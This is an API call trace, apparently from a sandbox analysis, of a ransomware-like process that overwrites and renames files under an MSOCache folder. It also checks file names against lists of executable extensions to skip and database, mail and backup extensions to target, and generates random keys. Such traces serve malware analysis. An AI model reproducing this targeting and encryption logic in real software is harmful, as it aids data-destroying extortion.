	[0064.210] ReadFile (in: hFile=0x11c, lpBuffer=0x27e0048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesRead=0x26dfec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0064.285] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0064.285] WriteFile (in: hFile=0x11c, lpBuffer=0x27e0048*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0064.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0064.286] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0064.286] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0064.287] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0064.287] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0064.287] CloseHandle (hObject=0x11c) returned 1
	[0064.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x39e528
	[0064.288] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.~~~~")) returned 1
	[0064.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0064.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0064.289] GetLastError () returned 0x0
	[0064.289] SetLastError (dwErrCode=0x0) 
	[0064.289] GetLastError () returned 0x0
	[0064.289] SetLastError (dwErrCode=0x0) 
	[0064.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0064.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0064.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0064.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3028 | out: hHeap=0x300000) returned 1
	[0064.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa698 | out: hHeap=0x300000) returned 1
	[0064.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e698 | out: hHeap=0x300000) returned 1
	[0064.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ed18 | out: hHeap=0x300000) returned 1
	[0064.290] RtlWakeConditionVariable () returned 0x365f70
	[0064.290] GetCurrentThreadId () returned 0x9cc
	[0064.522] GetCurrentThreadId () returned 0x9cc
	[0064.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0064.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c9d0 | out: hHeap=0x300000) returned 1
	[0064.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.522] lstrlenW (lpString=".scr") returned 4
	[0064.522] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0064.522] lstrlenW (lpString=".cmd") returned 4
	[0064.522] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0064.522] lstrlenW (lpString=".dll") returned 4
	[0064.522] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0064.522] lstrlenW (lpString=".bat") returned 4
	[0064.522] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0064.522] lstrlenW (lpString=".cpl") returned 4
	[0064.522] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0064.522] lstrlenW (lpString=".sys") returned 4
	[0064.522] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0064.522] lstrlenW (lpString=".msc") returned 4
	[0064.522] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0064.523] lstrlenW (lpString=".com") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0064.523] lstrlenW (lpString=".lnk") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0064.523] lstrlenW (lpString=".msp") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0064.523] lstrlenW (lpString=".pif") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0064.523] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0064.523] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0064.523] lstrlenW (lpString=".sqb") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0064.523] lstrlenW (lpString=".ost") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0064.523] lstrlenW (lpString=".txt") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0064.523] lstrlenW (lpString=".mdt") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0064.523] lstrlenW (lpString=".BDB") returned 4
	[0064.523] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0064.524] lstrlenW (lpString=".eql") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0064.524] lstrlenW (lpString=".DBF") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0064.524] lstrlenW (lpString=".EQL") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0064.524] lstrlenW (lpString=".FDB") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0064.524] lstrlenW (lpString=".EDB") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0064.524] lstrlenW (lpString=".DACPAC") returned 7
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0064.524] lstrlenW (lpString=".VHD") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0064.524] lstrlenW (lpString=".DBV") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0064.524] lstrlenW (lpString=".dacpac") returned 7
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0064.524] lstrlenW (lpString=".sdf") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0064.524] lstrlenW (lpString=".accdb") returned 6
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0064.524] lstrlenW (lpString=".DBX") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0064.524] lstrlenW (lpString=".MDT") returned 4
	[0064.524] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0064.524] lstrlenW (lpString=".SQB") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0064.525] lstrlenW (lpString=".vhd") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0064.525] lstrlenW (lpString=".bac") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0064.525] lstrlenW (lpString=".mdf") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0064.525] lstrlenW (lpString=".BAK") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0064.525] lstrlenW (lpString=".BAC") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0064.525] lstrlenW (lpString=".dbs") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0064.525] lstrlenW (lpString=".vhdx") returned 5
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0064.525] lstrlenW (lpString=".NDF") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0064.525] lstrlenW (lpString=".dat") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0064.525] lstrlenW (lpString=".DBS") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0064.525] lstrlenW (lpString=".CKP") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0064.525] lstrlenW (lpString=".edb") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0064.525] lstrlenW (lpString=".PST") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0064.525] lstrlenW (lpString=".dbf") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0064.525] lstrlenW (lpString=".SQL") returned 4
	[0064.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0064.526] lstrlenW (lpString=".pst") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0064.526] lstrlenW (lpString=".dbv") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0064.526] lstrlenW (lpString=".SDF") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0064.526] lstrlenW (lpString=".dtxs") returned 5
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0064.526] lstrlenW (lpString=".db3") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0064.526] lstrlenW (lpString=".OST") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0064.526] lstrlenW (lpString=".dbx") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0064.526] lstrlenW (lpString=".DB3") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0064.526] lstrlenW (lpString=".DAT") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0064.526] lstrlenW (lpString=".VHDX") returned 5
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0064.526] lstrlenW (lpString=".ndf") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0064.526] lstrlenW (lpString=".DB") returned 3
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0064.526] lstrlenW (lpString=".sql") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0064.526] lstrlenW (lpString=".MYD") returned 4
	[0064.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0064.527] lstrlenW (lpString=".DBT") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0064.527] lstrlenW (lpString=".ACCDB") returned 6
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0064.527] lstrlenW (lpString=".fdb") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0064.527] lstrlenW (lpString=".bak") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0064.527] lstrlenW (lpString=".myd") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0064.527] lstrlenW (lpString=".DTXS") returned 5
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0064.527] lstrlenW (lpString=".ckp") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0064.527] lstrlenW (lpString=".dbt") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0064.527] lstrlenW (lpString=".db") returned 3
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0064.527] lstrlenW (lpString=".TXT") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0064.527] lstrlenW (lpString=".MDF") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0064.527] lstrlenW (lpString=".bdb") returned 4
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0064.527] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0064.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0064.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa750
	[0064.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0064.528] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0064.528] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0064.529] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0064.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0064.529] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18451891360) returned 1
	[0064.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9399fab0, dwHighDateTime=0x1d60e1e)) 
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c9d0
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0064.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c9d0 | out: hHeap=0x300000) returned 1
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0064.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6f10
	[0064.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0064.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e8a0
	[0064.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0064.530] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0064.530] GetLastError () returned 0x0
	[0064.530] SetLastError (dwErrCode=0x0) 
	[0064.530] GetLastError () returned 0x0
	[0064.530] SetLastError (dwErrCode=0x0) 
	[0064.530] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0064.530] GetLastError () returned 0x0
	[0064.530] SetLastError (dwErrCode=0x0) 
	[0064.530] GetLastError () returned 0x0
	[0064.530] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.531] SetLastError (dwErrCode=0x0) 
	[0064.531] GetLastError () returned 0x0
	[0064.532] SetLastError (dwErrCode=0x0) 
	[0064.532] GetLastError () returned 0x0
	[0064.532] SetLastError (dwErrCode=0x0) 
	[0064.532] GetLastError () returned 0x0
	[0064.532] SetLastError (dwErrCode=0x0) 
	[0064.532] GetLastError () returned 0x0
	[0064.532] SetLastError (dwErrCode=0x0) 
	[0064.532] GetLastError () returned 0x0
	[0064.532] SetLastError (dwErrCode=0x0) 
	[0064.532] GetLastError () returned 0x0
	[0064.532] SetLastError (dwErrCode=0x0) 
	[0064.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e8a0 | out: hHeap=0x300000) returned 1
	[0064.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b2038
	[0064.533] ReadFile (in: hFile=0x11c, lpBuffer=0x3b2038, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesRead=0x26dfec0*=0x648, lpOverlapped=0x0) returned 1
	[0064.547] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff9b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0064.547] WriteFile (in: hFile=0x11c, lpBuffer=0x3b2038*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesWritten=0x26dfec0*=0x648, lpOverlapped=0x0) returned 1
	[0064.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2038 | out: hHeap=0x300000) returned 1
	[0064.548] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
